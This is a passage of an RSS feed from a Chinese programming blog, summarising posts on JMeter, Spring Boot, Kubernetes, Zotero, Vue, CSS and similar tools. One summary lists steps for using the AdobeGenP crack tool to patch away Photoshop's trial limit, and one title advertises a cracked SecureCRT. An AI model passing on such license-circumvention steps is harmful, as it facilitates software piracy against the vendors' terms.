      <description>【测试】JMeter做压力测试的步骤 1、首先在Jmeter可视化界面里配置好线程数和执行时间 2、点击保存该测试样例到一个指定的目录,如 D:\CodeSoftware\apache-jmeter-test-case\测试案例-01.jmx 3、在命令行中执行如下命令，就开始进行压力测试了： D:\&amp;gt;CodeSoftware\apache-jmeter-5\apache-jmeter-5.5\bin\jmeter -n -t D:\CodeSoftware\apache-jmeter-test-case\测试案例-01.jmx -l log.jtl 4、测试日志【log.jtl】我这里是它会直接存放在D盘的根目录里， log.jtl文件就是测试的报告，打开以后如下： 5、这种文本的形式不太友好，可以复制一份，然后将该日志文件后缀修改为【.csv】格式的，是一种表格形式，如下： 6、最后生成 dashboard 图表形式的压测报告，使用如下的命令：&#xA;执行完成之后，可以看到在这个目录下产生了一个【report1】的文件夹，这个就是生成的报告</description>
    </item>
    <item>
      <title>Markdown 跳转到指定位置</title>
      <link>https://bchobby.github.io/posts/3b9f1ee6b9ea61df77b29acf0dc59ee7/</link>
      <pubDate>Mon, 05 Jun 2023 17:06:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b9f1ee6b9ea61df77b29acf0dc59ee7/</guid>
      <description>这里写自定义目录标题 主要分两步第一步创建锚点第二步跳转 主要分两步 第一步创建锚点 &amp;lt;span id=&#34;采样率与带宽&#34;&amp;gt;&amp;lt;/span&amp;gt;&#xA;第二步跳转 直接命令为：[采样率与带宽](#采样率与带宽)&#xA;实际显示为：&#xA;采样率与带宽</description>
    </item>
    <item>
      <title>SecureCRT\FX （终端模拟器）win/mac激活版</title>
      <link>https://bchobby.github.io/posts/1db2acb64e3b5b8f3724ce5f38f4d474/</link>
      <pubDate>Mon, 05 Jun 2023 16:52:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1db2acb64e3b5b8f3724ce5f38f4d474/</guid>
      <description>SecureCRT 是一款终端仿真软件，和 Putty 的功能类似。 不过相比Putty比较简单的功能，SecureCRT 软件还是有许多的优势。比如可以一次创建多个 Tab Page，连接多台远程主机； Button Bar、 定制化界面等等。SecureFX 是用来传输文件，它的优点在于可视化界面，将本地主机和远程主机的目录结构以树形结构的方式显示出来。文件的传输可以直接手动拖动而无需使用命令。目前 SecureFX 支持一下几种协议。&#xA;​&#xA;SecureCRT的主要优势： 从运行 Windows、Linux 和 Mac 的机器安全地访问 UNIX、Linux 或 VMS 上的业务应用程序 — 采用对 VT100/102/220 、TN3270 、ANSI、SCO ANSI、Wyse 50/60 、Xterm 的丰富仿真支持和 Linux 控制台。&#xA;配置、管理和组织您的所有会话，完全控制回滚、键映射、颜色、字体等 - 无论您有一个还是数千个会话。&#xA;通过 SSH（SSH2 、SSH1）、Telnet、Telnet/TLS、串行和其他协议从一个客户端访问您的所有网络设备。&#xA;利用具有省时功能的高效率 GUI，包括多会话启动、选项卡式会话、选项卡组、平铺会话、克隆会话、用于重复命令的按钮栏和映射键。&#xA;依赖用于加密登录和会话数据的开放标准安全外壳 (SSH) 协议、灵活的身份验证选项和可选的 FIPS 140-2 批准的密码。&#xA;通过使用 VBScript、JScript、PerlScript 或 Python 运行脚本，在 SecureCRT 中自动执行重复性任务。脚本记录器将您的击键构建到 VBScript 或 Python 脚本中。&#xA;使用 SFTP、Xmodem、Ymodem、Zmodem 或 Kermit 在网络设备之间传输文件。内置的 TFTP 服务器提供了额外的文件传输灵活性。&#xA;通过 SecureCRT 和 SecureFX® 文件传输客户端的紧密集成来节省步骤，它们共享会话和设置，让您无需重新输入密码即可运行 SFTP、FTP、SCP 和 FTP/TLS 文件传输会话。</description>
    </item>
    <item>
      <title>vscode 快捷键与使用配置</title>
      <link>https://bchobby.github.io/posts/62d5c91715919b1402098a00fed134cc/</link>
      <pubDate>Mon, 05 Jun 2023 16:46:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62d5c91715919b1402098a00fed134cc/</guid>
      <description>vscode 快捷键与配置 文章目录 vscode 快捷键与配置简化记忆 主命令框常用快捷键代码编辑格式调整光标相关重构代码查找替换显示相关其他 前端开发必备插件 简化记忆 F1&#xA;F11&#xA;Ctrl+P&#xA;?&#xA;!&#xA;:&#xA;@&#xA;Ctrl+N&#xA;Ctrl+Shift+N&#xA;Ctrl+Shift+W&#xA;Ctrl+Tab&#xA;Ctrl+\&#xA;Ctrl+[ 、 Ctrl+] 多行左右移动&#xA;Shift+Alt+F，或 Ctrl+Shift+P 后输入 format code&#xA;Alt+Up 或 Alt+Down&#xA;选中按TAB右移，按SHIFT+TAB左移&#xA;Ctrl+F&#xA;主命令框 F1 或 Ctrl+Shift+P: 打开命令面板。在打开的输入框内，可以输入任何命令，例如：&#xA;按一下 Backspace 会进入到 Ctrl+P 模式&#xA;在 Ctrl+P 下输入 &amp;gt; 可以进入 Ctrl+Shift+P 模式&#xA;在 Ctrl+P 窗口下还可以:&#xA;直接输入文件名，跳转到文件&#xA;? 列出当前可执行的动作&#xA;! 显示 Errors或 Warnings，也可以 Ctrl+Shift+M&#xA;: 跳转到行数，也可以 Ctrl+G 直接进入&#xA;@ 跳转到 symbol（搜索变量或者函数），也可以 Ctrl+Shift+O 直接进入</description>
    </item>
    <item>
      <title>Superset 安装配置</title>
      <link>https://bchobby.github.io/posts/8c2c061cd81c2bc872ff50c76111b45d/</link>
      <pubDate>Mon, 05 Jun 2023 16:12:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c2c061cd81c2bc872ff50c76111b45d/</guid>
      <description>文章目录 Superset 安装配置一、Superset 概述1. Superset简介2. 功能概述3. 支持的数据库 二、Superset 环境部署步骤三、创建虚拟机，安装CentOS1.下载CentOS2.创建虚拟机3.编辑虚拟机设置4.安装centos7.9mini版本5.启动centos，并进行登录 四、CentOS配置1. 查看本地windows主机的网络适配器2. 查看虚拟机网络地址配置区间3. 查看本地windows主机的IP地址4. 虚拟机ip配置5. 启动securecrt连接虚拟机6.永久修改主机名7. 建立虚拟机主机名和ip地址的映射关系8. 建立本地windows主机中虚拟机主机名和虚拟机ip的映射关系 五、mysql的安装1.新建文件夹2. 下载mysql安装yum源3. 安装yum源，并更新升级GPG4. 启动mysql服务器5. 获取临时密码6. 用临时密码登录mysql7. 修改root密码8. 添加允许远程连接的用户9. 创建连接10. 远程连接 六、安装 Python 环境1. 安装 Miniconda1）下载 Miniconda（Python3 版本）2）上传文件3）安装 Miniconda4）加载环境变量配置文件，使之生效5）取消激活 base 环境 2. 创建 Python 3.9 环境1）配置 conda 国内镜像2）创建 Python 3.9环境3）激活 superset 环境4）执行 python 命令查看 python 版本 七、Superset 部署1. 安装依赖2. 安装 Superset1）安装（更新）setuptools 和 pip2）安装Superset3）初始化 Supetset 数据库4）创建管理员用户5）Superset 初始化 3. 启动 Supterset1）安装 gunicorn2）启动 Superset（1）确保当前 conda 环境为 superset，及下图所示（2）启动（3）登录 Superset 3）停止 Superset 4.</description>
    </item>
    <item>
      <title>vue3 video 播放标签，截图并下载图片到本地</title>
      <link>https://bchobby.github.io/posts/cf42cd8fa68e7e3a7f79af96fc5e6e88/</link>
      <pubDate>Mon, 05 Jun 2023 15:32:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf42cd8fa68e7e3a7f79af96fc5e6e88/</guid>
      <description>效果图1&#xA;效果图2&#xA;1、html代码 部分&#xA;&amp;lt;video autoplay controls loopobject-fit:cover crossOrigin=&#34;anonymous&#34; id=&#34;videoElement&#34; src=&#34;https://video19.ifeng.com/video09/2022/11/10/p6996366852502851668-102-150552.mp4?reqtype=tsl&#34;&amp;gt;&amp;lt;/video&amp;gt; &amp;lt;button @click=&#34;selaction &#34;&amp;gt;截取&amp;lt;/button&amp;gt; ps( crossOrigin=&#34;anonymous&#34; 这个属性是报错 SecurityError: Failed to execute toDataURL on HTMLCanvasElement : Tainted canvases may not be exported.) 设置的&#xA;js代码部分&#xA;// 截图转换---------------------------下载------------------------ const dataURLtoBlob = (dataurl: any) =&amp;gt; { let arr = dataurl.split(&#34;,&#34;), mime = arr[0].match(/:(.*?);/)[1], bstr = atob(arr[1]), n = bstr.length, u8arr = new Uint8Array(n); while (n--) { u8arr[n] = bstr.charCodeAt(n); } return new Blob([u8arr], { type: mime }); }; const downloadFile = (url: any, name = &#34;</description>
    </item>
    <item>
      <title>css：CSS 线性渐变linear-gradient</title>
      <link>https://bchobby.github.io/posts/32d189c0bb3afe1310a17521ab561143/</link>
      <pubDate>Mon, 05 Jun 2023 15:10:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32d189c0bb3afe1310a17521ab561143/</guid>
      <description>CSS 渐变使您可以显示两种或多种指定颜色之间的平滑过渡。&#xA;CSS 定义了两种渐变类型：&#xA;线性渐变（向下/向上/向左/向右/对角线）径向渐变（由其中心定义） 参考文档&#xA;CSS 线性渐变 https://www.w3school.com.cn/css/css3_gradients.aspCSS 径向渐变 https://www.w3school.com.cn/css/css3_gradients_radial.aspMDN linear-gradient() https://developer.mozilla.org/en-US/docs/Web/CSS/gradient/linear-gradient 目录 线性渐变从上到下（默认）从左到右对角线使用角度使用多个色标使用透明度方向控制完整代码 线性渐变 语法&#xA;background-image: linear-gradient(direction, color-stop1, color-stop2, ...); 从上到下（默认） background-image: linear-gradient(red, yellow); 从左到右 background-image: linear-gradient(to right, red, yellow); 对角线 从左上角 到右下角&#xA;background-image: linear-gradient(to bottom right, red, yellow); 使用角度 -90deg 相当于从右向左&#xA;background-image: linear-gradient(-90deg, red, yellow); 使用多个色标 3个颜色&#xA;background-image: linear-gradient(red, yellow, green); 彩虹色&#xA;background-image: linear-gradient( to right, red, orange, yellow, green, blue, indigo, violet ); 使用透明度 background-image: linear-gradient(to right, rgba(255,0,0,0), rgba(255,0,0,1)); 重复线性渐变</description>
    </item>
    <item>
      <title>SpringBoot实现前后端数据交互、json数据交互、Controller接收参数的几种常用方式</title>
      <link>https://bchobby.github.io/posts/72a3b638a753d5293c843a8dd28d00e5/</link>
      <pubDate>Mon, 05 Jun 2023 15:09:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72a3b638a753d5293c843a8dd28d00e5/</guid>
      <description>目录&#xA;1.写在最前&#xA;2.获取参数的几种常用注解&#xA;2.1.请求路径参数&#xA;2.2.Body参数&#xA;2.3.请求头参数以及Cookie&#xA;2.4.HttpServletRequest 3.参数校检&#xA;4.最终选择交互方式&#xA;5.参考文献&#xA;1.写在最前 现在大多数互联网项目都是采用前后端分离的方式开发，前端人员负责页面展示和数据获取，后端负责业务逻辑处理和接口封装。当与前端交互的过程当中，常用json数据与前端进行交互，这样想取出前端传送过来的json数据的时候，就需要用到@RequestBody这个注解。@RequestBody注解用于读取http请求的内容(字符串)，通过springmvc提供的HttpMessageConverter接口将读到的内容转换为json、xml等格式的数据并绑定到controller方法的参数上。 提交方式为 POST 时，&#xA;JQuery Ajax 以 application/x-www-form-urlencoded 上传 JSON对象 ，&#xA;后端用 @RequestParam 或者Servlet 获取参数。&#xA;JQuery Ajax 以 application/json 上传 JSON字符串，&#xA;后端用 @RquestBody 获取参数。&#xA;2.获取参数的几种常用注解 @PathVariable：一般我们使用URI template样式映射使用，即url/{param}这种形式，也就是一般我们使用的GET，DELETE，PUT方法会使用到的，我们可以获取URL后所跟的参数。&#xA;@RequestParam：一般我们使用该注解来获取多个参数，在（）内写入需要获取参数的参数名即可，一般在PUT，POST中比较常用。&#xA;@RequestBody：该注解和@RequestParam殊途同归，我们使用该注解将所有参数转换，在代码部分在一个个取出来，也是目前我使用到最多的注解来获取参数&#xA;还有@RequestHeader来获取头信息里的值，@CookieValue来获取Cookie值等等。在这，我也仅仅说明一些较常用的取值方法而已。&#xA;2.1.请求路径参数 2.1.1.get请求 一般用于查询数据，采用明文进行传输，一般用来获取一些无关用户信息的数据，&#xA;@GetMapping 组合注解，是 @RequestMapping(method = RequestMethod.GET) 的缩写&#xA;a).get请求，url路径传参&#xA;get请求一般通过url传参，如：&#xA;http://localhost:4001/api/unit?code=111&#xA;后端要获取code参数，可以使用@RequestParam注解&#xA;@RestController public class HelloController { @RequestMapping(value=&#34;/hello&#34;,method= RequestMethod.GET) public String sayHello(@RequestParam Integer id){ return &#34;id:&#34;+id; } } b).</description>
    </item>
    <item>
      <title>Spring Boot注解@RequestMapping、@RequestBody的详解</title>
      <link>https://bchobby.github.io/posts/9d229f16add533901f634bc9ddea9d89/</link>
      <pubDate>Mon, 05 Jun 2023 14:47:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d229f16add533901f634bc9ddea9d89/</guid>
      <description>目录&#xA;1、@RequestMapping&#xA;1.1、 value， method；&#xA;value/method 示例&#xA;1.2、 consumes，produces；&#xA;consumes/produces 示例&#xA;1.3、 params，headers；&#xA;params/headers 示例&#xA;2、@PathVariable 2.1、定义单个URL变量&#xA;2.2、定义多个URL变量&#xA;3、@RequestHeader、@CookieValue&#xA;4、@RequestParam 5、@RequestBody&#xA;6、@SessionAttributes, @ModelAttribute&#xA;6.1、@SessionAttributes:&#xA;6.2、@ModelAttribute&#xA;7、@RestController&#xA;8、其他RabbitMQ&#xA;1、@RequestMapping @RequestMapping是一个用来处理请求地址映射的注解，可用于类或方法上。用于类上，表示类中的所有响应请求的方法都是以该地址作为父路径。@RequestMapping用在类上可以没有，但是用在方法上必须有。&#xA;窄化请求映射：在class上添加@RequestMapping(url)指定通用请求前缀， 限制此类下的所有方法请求url必须以请求前缀开头，通过此方法对url进行分类管理。&#xA;如下：&#xA;@RequestMapping放在类名上边，设置请求前缀 @Controller @RequestMapping(&#34;/item&#34;) 方法名上边设置请求映射url：&#xA;@RequestMapping放在方法名上边，如下：&#xA;@RequestMapping(&#34;/queryItem &#34;) 访问地址为：/item/queryItem&#xA;@RequestMapping是handler method 参数绑定常用的注解,我们根据他们处理的Request的不同内容部分分为四类：（主要讲解常用类型）&#xA;A、处理request url 部分（这里指uri template中variable，不含queryString部分）的注解： @PathVariable;&#xA;B、处理request header部分的注解： @RequestHeader, @CookieValue;&#xA;C、处理request body部分的注解：@RequestParam, @RequestBody;&#xA;D、处理attribute类型是注解： @SessionAttributes, @ModelAttribute;&#xA;@RequestMapping注解有六个属性，下面我们把她分成三类进行说明&#xA;1.1、 value， method； value： 指定请求的实际地址，指定的地址可以是URI Template 模式（后面将会说明）；&#xA;method： 指定请求的method类型， GET、POST、PUT、DELETE等；</description>
    </item>
    <item>
      <title>Zotero安装与配置教程</title>
      <link>https://bchobby.github.io/posts/9d447d8525e96eee976b3323ffd4e99d/</link>
      <pubDate>Mon, 05 Jun 2023 11:24:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d447d8525e96eee976b3323ffd4e99d/</guid>
      <description>Zotero 安装与配置教程 1. 安装与配置1.1 下载安装1.2 配置云同步1.2.1 配置Zotero网盘数据同步12.2. 配置WebDAV云同步配置TeraCLOUD云同步配置坚果云同步任意网盘云同步 1.2.3 更换WebDAV云盘 2. 插件2.1 Zotero Scihub自动下载文献2.2 .bib管理：Better BibTeX for Zotero安装配置导出 `.bib` 格式文件 2.3 中文文献管理插件：Jasminum - 茉莉花其他配置 2.4 DOI管理 1. 安装与配置 1.1 下载安装 Zotero是开源的文献管理软件，目前版本6已经支持直接查看PDF与做笔记注释等功能，可以在官网免费下载与使用：https://www.zotero.org/download/ 。另外，IOS版本已经上线，苹果用户可以直接在 App Store 中下载使用。&#xA;进入下载页面后，会自动识别操作系统，直接点击下载按钮就可以下载安装。如果下默认的操作系统不是自己想要的，也可以点击下面的链接进行切换。&#xA;为了方便从网页直接抓取文献到Zotero中，建议将浏览器插件 Zotero Connector 也装上。&#xA;装上浏览器插件 Zotero Connector 后，网页上打开文献，就可以直接将文件保存到Zotero中。&#xA;在Zotero中对应的工作群组中已经有了刚才网页添加的文件。&#xA;Zotero添加文献的PDF版本有以下几种方式：&#xA;公开的文献，Zotero会自动下载PDF如果Zotero没有权限获取，但网页可以访问，可以在网页中打开PDF，然后添加到Zotero中。Zotero会自动解析PDF信息，更新PDF的元数据。也可以先将文献元数据添加到Zotero，之后通过手动下载PDF，再将PDF以附件的形式直接拖拽到对应的文章中。直接下载PDF，拖拽到Zotero中，让Zotero自动更新元数据。无法直接获取PDF的文章，也可以尝试通过 Zotero Scihub 插件自动下载。 关于PDF的常用操作：&#xA;选中PDF文件，右键选择 Rename File From Paramater Metedata 可以将PDF重命名成 “作者-发表年份-标题” 标准格式。选中PDF文件，右键选择 Show File 可以直接打开PDF所在的文件夹。 奇技淫巧：&#xA;当阅读文献的同时需要查看参考文献时，可以右键，选择 横向分割 或 竖向分割 ，将文章分成两栏，然后单独操作每个栏。</description>
    </item>
    <item>
      <title>Java面试项目推荐</title>
      <link>https://bchobby.github.io/posts/f94d57eb75ba775d697d644b8c6b564c/</link>
      <pubDate>Mon, 05 Jun 2023 09:27:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f94d57eb75ba775d697d644b8c6b564c/</guid>
      <description>15个java项目用于开发面试</description>
    </item>
    <item>
      <title>Photoshop 2023 Beta 内置Ai绘图功能介绍&amp;安装教程</title>
      <link>https://bchobby.github.io/posts/53fa67beeaa98b24cc165a14f39c190b/</link>
      <pubDate>Mon, 05 Jun 2023 08:49:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53fa67beeaa98b24cc165a14f39c190b/</guid>
      <description>距离Adobe软件公司首次将图像编辑及数字绘画软件Photoshop推出到大众面前已经过去35年，最近该公司又再次书写了属于Photoshop的历史新篇章。 最近，Adobe 宣布 Photoshop（Beta）迎来更新，新增「创意填充（Generative Fill）」功能，生成式AI绘图由Adobe Firefly提供支持，Adobe的创意生成AI模型系列。&#xA;这个版本让用户可以以非破坏性的方式进行图像组合和生成。这一创新功能将为用户带来更加灵活和创造性的体验，让您的创作变得更加自由和多样化。&#xA;Photoshop 2023 Beta 内置Ai绘图功能版 Photoshop Beta 应用程序发布了生成式AI绘图，这是世界上第一个创意和设计工作流程的副驾驶，为用户提供了一种神奇的新工作方式。&#xA;这将两个强大的成像引擎结合在一起——Photoshop和生成式AI，使您能够通过文本提示从Photoshop内部生成内容，并使用Photoshop的全面工具对其进行编辑以创建非凡的结果。&#xA;打开 PS 测试版，用选框工具框选任意位置，「创意填充」工具便开始等待你下第一条指令。&#xA;我们尝试使用这一功能进行简单的创作，首先新建一个空白的画布，框选后输入：「On the other side of the river, there are mountains and water, and it’s a sunny day」（江对岸，有山有水，晴天）。稍等片刻，一幅江面图就出现了。&#xA;视觉没有重点？那就框选江面，画上一艘红船，再加一个钓鱼的人（a red boat with a fisherman on board）。&#xA;天上有些空？只需在天上挂一个热气球（a hot air balloon）、几只飞鸟（A flock of birds）。三句话，让 Photoshop 帮我画一幅春江垂钓风景图。&#xA;生成式AI绘图还使您能够快速推进创意学习过程，从根本上缩短学习曲线（即使您是专业人士），并在几秒钟内实现高质量的创意结果。&#xA;目前，测试版有几个限制，第一它不能用于商业用途，第二只适用于英语文本提示，目前还不支持中文提示词，还有就是不适合18岁以下的用户。&#xA;安装教程 1）下载安装 Creative_Cloud_Set-Up.exe&#xA;2）打开Adobe Creative Cloud，会提示登录，选择创建账户，用Gmail邮箱注册（其他邮箱账号都不行！！！），国家/地区选印度或美国。&#xA;3）账号创建完成，首次登录会有Adobe服务弹窗，一定要取消勾选AGS，一定要取消勾选AGS，之后等待安装。&#xA;4）进入主页，点击左侧导航进入Beta应用程序，找到PSbeta版本，点击试用安装&#xA;5）安装完成，提示剩余7天试用期&#xA;6）退出Creative Cloud&#xA;7）打开AdobeGenP激活工具&#xA;8）点击Search，搜索本机Adobe未激活产品&#xA;9）搜索完成，点击Parch，打上激活补丁&#xA;10）完成后，剩余7天试用期消失，打开PS体验</description>
    </item>
    <item>
      <title>Python 文件和正则--with文件读取,深浅拷贝,正则表达式</title>
      <link>https://bchobby.github.io/posts/0cc9b30f02bb2b7a5e4e8c20a1090949/</link>
      <pubDate>Mon, 05 Jun 2023 08:24:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cc9b30f02bb2b7a5e4e8c20a1090949/</guid>
      <description>1.with语句 open 方式打开文件 #open()方式打开文件的弊端. f = open(&#39;1.txt&#39;,&#39;w&#39;) f.write(&#39;hello world&#39;) f.flush() # f.close() == 不释放资源--其它人无法操作被占用的文件. ​ #-------------发生异常导致没有释放资源--------- # f = open(&#39;1.txt&#39;,&#39;r&#39;) # f.write(&#39;hello world&#39;) # f.flush() # f.close() ​ # 可以释放资源---但是格式复杂---麻烦!!! f = None try: f = open(&#39;1.txt&#39;,&#39;r&#39;) f.write(&#39;hello world&#39;) f.flush() except Exception as e: print(&#39;出错误了&#39;) finally: if f is not None: f.close() ​ while True: pass with语句操作文件 with open(&#34;1.txt&#34;,&#39;w&#39;) as f: f.write(&#39;hello\n&#39;) f.write(&#39;world\n&#39;) f.write(&#39;python\n&#39;) # f.close() # 使用with语句后.能帮我们自动释放资源. ​ while True: pass 2.</description>
    </item>
    <item>
      <title>实战-k8s中部署tomcat（四）</title>
      <link>https://bchobby.github.io/posts/c16930c7cc19bb327d9aca319da1bb0e/</link>
      <pubDate>Sun, 04 Jun 2023 20:31:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c16930c7cc19bb327d9aca319da1bb0e/</guid>
      <description>先下载资源：k8s中安装Tomcat&#xA;测试 k8s 集群中部署 tomcat 服务&#xA;#把 tomcat.tar.gz 上传到 k8s-node1，手动解压&#xA;[root@k8s-node1 ~]# ctr images import tomcat.tar.gz&#xA;[root@k8s-master ~]# kubectl apply -f tomcat.yaml&#xA;apiVersion: v1 #pod属于k8s核心组v1 kind: Pod #创建的是一个Pod资源 metadata: #元数据 name: demo-pod #pod名字 namespace: default #pod所属的名称空间 labels: app: myapp #pod具有的标签 env: dev #pod具有的标签 spec: containers: #定义一个容器，容器是对象列表，下面可以有多个name - name: tomcat-pod-java #容器的名字 ports: - containerPort: 8080 image: tomcat:8.5-jre8-alpine #容器使用的镜像 imagePullPolicy: IfNotPresent [root@k8s-master ~]# kubectl get pods&#xA;[root@k8s-master ~]# kubectl apply -f tomcat-service.</description>
    </item>
    <item>
      <title>C语言中的strncpy函数</title>
      <link>https://bchobby.github.io/posts/a7e489bbcfbb56017e56d234ae478079/</link>
      <pubDate>Sun, 04 Jun 2023 20:24:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7e489bbcfbb56017e56d234ae478079/</guid>
      <description>C语言中的strncpy函数 在C语言中，strncpy函数是一个用于复制字符串的标准库函数。它与strcpy函数类似，但与strcpy不同的是，strncpy函数可以指定要复制的字符数，从而避免复制过多的字符。&#xA;函数原型 strncpy函数的原型如下：&#xA;char *strncpy(char *dest, const char *src, size_t n); 该函数的参数包括：&#xA;dest：指向目标字符串的指针，即要将源字符串复制到的位置。src：指向源字符串的指针，即要复制的字符串的起始位置。n：要复制的字符数。 函数返回值为指向目标字符串的指针。&#xA;函数功能 strncpy函数的功能是将指定的字符串从源位置复制到目标位置，可以指定要复制的字符数。&#xA;函数实现 下面是strncpy函数的一个简单实现：&#xA;char *strncpy(char *dest, const char *src, size_t n) { char *pd = dest; const char *ps = src; while (n-- &amp;amp;&amp;amp; (*pd++ = *ps++)) { ; } if (n) { while (--n) { *pd++ = &#39;\0&#39;; } } return dest; } 该实现的思路是，先使用while循环将源字符串中的字符复制到目标字符串中，直到达到指定的字符数或者复制完整个源字符串。如果指定的字符数大于源字符串的长度，那么还需要使用另一个while循环将目标字符串中剩余的字符设置为\0。&#xA;使用示例 下面是一个使用strncpy函数的示例：&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; int main() { char str1[] = &#34;</description>
    </item>
    <item>
      <title>【云原生-K8s】k8s可视化管理界面安装配置及比较【Rancher篇】</title>
      <link>https://bchobby.github.io/posts/2e0b209abc67e9fe7f61894a2b675b08/</link>
      <pubDate>Sun, 04 Jun 2023 20:01:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e0b209abc67e9fe7f61894a2b675b08/</guid>
      <description>总览 安装了k8s控制面板，方便日常的问题处理，查看资源状态信息，也可以增加子账号进行开放给其他人员使用，减少命令操作，提升工作效率&#xA;前置条件 须有一个正常使用的k8s集群附k8s v1.20版本搭建：https://blog.csdn.net/u010800804/article/details/124524688 Rancher【推荐】 企业级Kubernetes管理平台Rancher为采用容器的团队提供了完整的软件堆栈，解决了跨任何基础设施架构管理多个Kubernetes集群的运维和安全挑战，同时为DevOps团队提供了用于运行容器化工作负载的集成工具。&#xA;资源信息 Rancher 可以创建来自 Kubernetes 托管服务提供商的集群，创建节点并安装 Kubernetes，或者导入在任何地方运行的现有 Kubernetes 集群。中国官方网站：https://www.rancher.cn/开源地址：https://github.com/rancher/rancher此外，Rancher 可以为集群和资源提供更精细的监控和告警，将日志发送到外部提供商，并通过应用商店（Application Catalog）直接集成 Helm。如果你拥有外部 CI/CD 系统，你可以将其与 Rancher 对接。没有的话，你也可以使用 Rancher 提供的 Fleet 自动部署和升级工作负载。版本确认：https://www.suse.com/zh-cn/suse-rancher/support-matrix/all-supported-versions/rancher-v2-6-10/ 在线安装 Rancher 的 Docker 安装仅推荐用于开发和测试环境中Rancher 可以通过运行单个 Docker 容器进行安装。在这种安装方案中，你需要将 Docker 安装到单个 Linux 主机，然后使用单个 Docker 容器将 Rancher 部署到主机中。通过docker安装 docker run -d --restart=unless-stopped \ -p 11180:80 -p 11443:443 \ --privileged \ rancher/rancher:latest 浏览器访问 打开浏览器，输入https://&amp;lt;安装容器的主机名或IP地址&amp;gt;，您即可以访问Rancher Server的UI了。跟随用户界面给您的引导，即可设置完成您的第一个Rancher集群。&#xA;设置密码 我们这里采用docker进行安装的首先找到docker 容器名字&#xA;执行命令获取密码获取密码模板 docker logs container-id 2&amp;gt;&amp;amp;1 | grep &#34;Bootstrap Password:&#34;</description>
    </item>
    <item>
      <title>解决安装pytorch报错torch.cuda.is_available()=false</title>
      <link>https://bchobby.github.io/posts/d56102b55d0c1ca37e7f7db486e9fe5c/</link>
      <pubDate>Sat, 03 Jun 2023 21:30:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d56102b55d0c1ca37e7f7db486e9fe5c/</guid>
      <description>安装pytorch报错torch.cuda.is_available()=false问题的解决过程</description>
    </item>
    <item>
      <title>利用kaggle的GPU训练自己的模型（项目）</title>
      <link>https://bchobby.github.io/posts/4e69386219e7b543c005619bd90f0889/</link>
      <pubDate>Sat, 03 Jun 2023 21:26:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e69386219e7b543c005619bd90f0889/</guid>
      <description>目录&#xA;一、上传项目&#xA;二、训练模型&#xA;1.导入项目&#xA;2.关于下包以及配置虚拟环境的问题&#xA;1）创建虚拟环境&#xA;2）下包&#xA;3.训练模型&#xA;1）两种方法：&#xA;2）关于写文件的问题&#xA;3）开启GPU&#xA;4）离线训练&#xA;4.下载日志、运行结果什么的&#xA;5.关掉GPU&#xA;三、模型预测&#xA;一、上传项目 网址： 登陆后，将项目(连同数据集和代码一起）压缩上传，上传需要梯子。&#xA;上传成功后点击create，kaggle会自动解压压缩包，处理完成后会有successful提示。&#xA;二、训练模型 1.导入项目 新建一个笔记本（同Jupyter notebook)&#xA;左上角的&#34;note...&#34;为该笔记本的名称，可以自行重命名，点击 + 新增一个cell，点击垃圾桶形状的按钮删除当前选定的cell。&#xA;选择Add Data添加数据&#xA;选择Your Datasets将显示你上传的数据集，选择数据集旁边的 + 则可以将数据集添加到当前笔记本&#xA;2.关于下包以及配置虚拟环境的问题 1）创建虚拟环境 我用conda创建虚拟环境报错，解决不了遂放弃。&#xA;2）下包 !pip install 包名（感叹号为英文感叹号）&#xA;ps:哦对，下包要连接网络，第一次使用kaggle的话需要先手机验证&#xA;注：&#xA;有的时候会发现之前下了的包一段时间后又不存在了，这个时候报错&#34;no model name...&#34;只能重新下。&#xA;因为我的项目用到了transformers，虽然kaggle内含transformers，但它的版本比我需要的高，想去降级transformers，下不下来，遂放弃，后来直接使用kaggle内置的transformers运行项目，发现成功跑起来了，不懂，能跑就行。&#xA;kaggle内的tensorflow版本是2.0的，我尝试过下载tensorflow1.0版本，下载失败，遂放弃。&#xA;综上，kaggle内有很多库，直接运吧，缺啥补啥。&#xA;3.训练模型 1）两种方法： 1.!python xxx.py&#xA;注：使用此语句需确保代码在本地的时候已调试通，否则报错只能在本地改好后再重新上传，如果项目很大的话上传很浪费时间。&#xA;2.将你需要运行的代码复制粘贴到一个cell里，这样你可以直接在这里调试你的代码，不需要回到本地改了再上传。&#xA;（很重要！！！）不管你使用哪种方法，都建议在你的代码里面使用的文件路径最好用相对路径，因为你使用Add Data添加数据时，你的数据的路径其实是/kaggle/input/数据集的名字（就是上传数据时命名那个），如果使用绝对路径的话，只能回到本地改了再上传，但使用相对路径的话，你就可以通过&#xA;cd /kaggle/input/数据集的名字&#xA;将你的工作路径定位到此，此时运行程序的话就不会报找不到文件的错误。&#xA;2）关于写文件的问题 如果你的模型在训练过程需要写文件，那么你就可以通过下述方法将你的数据复制到/kaggle/working/目录下，因为input目录只可读，而working目录可读可写。&#xA;(如果想在input运，则要更改写文件的地址，很麻烦不推荐）&#xA;import shutil # 复制文件或目录 shutil.copytree(&#39;/kaggle/input/数据集名字&#39;, &#39;/kaggle/working/随便取个名字&#39;) 注：能不能就这样 ‘/kaggle/working/’ 答：不知道，可以尝试一下</description>
    </item>
    <item>
      <title>AuthenticationEntryPoint使用</title>
      <link>https://bchobby.github.io/posts/a14376fce05fadee982e59a128fde02b/</link>
      <pubDate>Sat, 03 Jun 2023 18:08:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a14376fce05fadee982e59a128fde02b/</guid>
